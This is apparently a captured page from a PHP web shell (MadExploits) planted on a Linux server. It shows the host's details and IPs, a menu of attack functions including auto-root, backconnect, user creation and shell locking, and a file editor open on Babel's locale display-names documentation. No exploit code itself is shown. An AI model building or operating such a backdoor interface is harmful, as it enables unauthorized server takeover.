Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.140.196.5
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-babel-0.9.6 /
doc /
[ HOME SHELL ]
Name
Size
Permission
Action
api
[ DIR ]
drwxr-xr-x
common
[ DIR ]
drwxr-xr-x
cmdline.html
8.19
KB
-rw-r--r--
cmdline.txt
6.57
KB
-rw-r--r--
dates.html
16.4
KB
-rw-r--r--
dates.txt
13.66
KB
-rw-r--r--
display.html
4.33
KB
-rw-r--r--
display.txt
2.36
KB
-rw-r--r--
index.html
1.88
KB
-rw-r--r--
index.txt
882
B
-rw-r--r--
intro.html
3.81
KB
-rw-r--r--
intro.txt
2.44
KB
-rw-r--r--
logo.pdf
43.93
KB
-rw-r--r--
logo.png
15.12
KB
-rw-r--r--
logo_small.png
5.97
KB
-rw-r--r--
messages.html
17.44
KB
-rw-r--r--
messages.txt
11.7
KB
-rw-r--r--
numbers.html
6.05
KB
-rw-r--r--
numbers.txt
4.66
KB
-rw-r--r--
setup.html
18.86
KB
-rw-r--r--
setup.txt
14.84
KB
-rw-r--r--
support.html
3.17
KB
-rw-r--r--
support.txt
1.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : display.txt
.. -*- mode: rst; encoding: utf-8 -*- ==================== Locale Display Names ==================== .. contents:: Contents :depth: 2 .. sectnum:: Introduction ============ While `message catalogs <messages.html>`_ allow you to localize any messages in your application, there are a number of strings that are used in many applications for which translations are readily available. Imagine for example you have a list of countries that users can choose from, and you'd like to display the names of those countries in the language the user prefers. Instead of translating all those country names yourself in your application, you can make use of the translations provided by the locale data included with Babel, which is based on the `Common Locale Data Repository (CLDR) <http://unicode.org/cldr/>`_ developed and maintained by the `Unicode Consortium <http://unicode.org/>`_. The ``Locale`` Class ==================== You normally access such locale data through the `Locale`_ class provided by Babel: .. code-block:: pycon >>> from babel import Locale >>> locale = Locale('en', 'US') >>> locale.territories['US'] u'United States' >>> locale = Locale('es', 'MX') >>> locale.territories['US'] u'Estados Unidos' .. _`Locale`: api/babel.core.Locale-class.html In addition to country/territory names, the locale data also provides access to names of languages, scripts, variants, time zones, and more. Some of the data is closely related to number and date formatting. Most of the corresponding ``Locale`` properties return dictionaries, where the key is a code such as the ISO country and language codes. Consult the API documentation for references to the relevant specifications. Calender Display Names ====================== The `Locale`_ class provides access to many locale display names related to calendar display, such as the names of week days or months. These display names are of course used for date formatting, but can also be used, for example, to show a list of months to the user in their preferred language: .. code-block:: pycon >>> locale = Locale('es') >>> month_names = locale.months['format']['wide'].items() >>> month_names.sort() >>> for idx, name in month_names: ... print name enero febrero marzo abril mayo junio julio agosto septiembre octubre noviembre diciembre
Close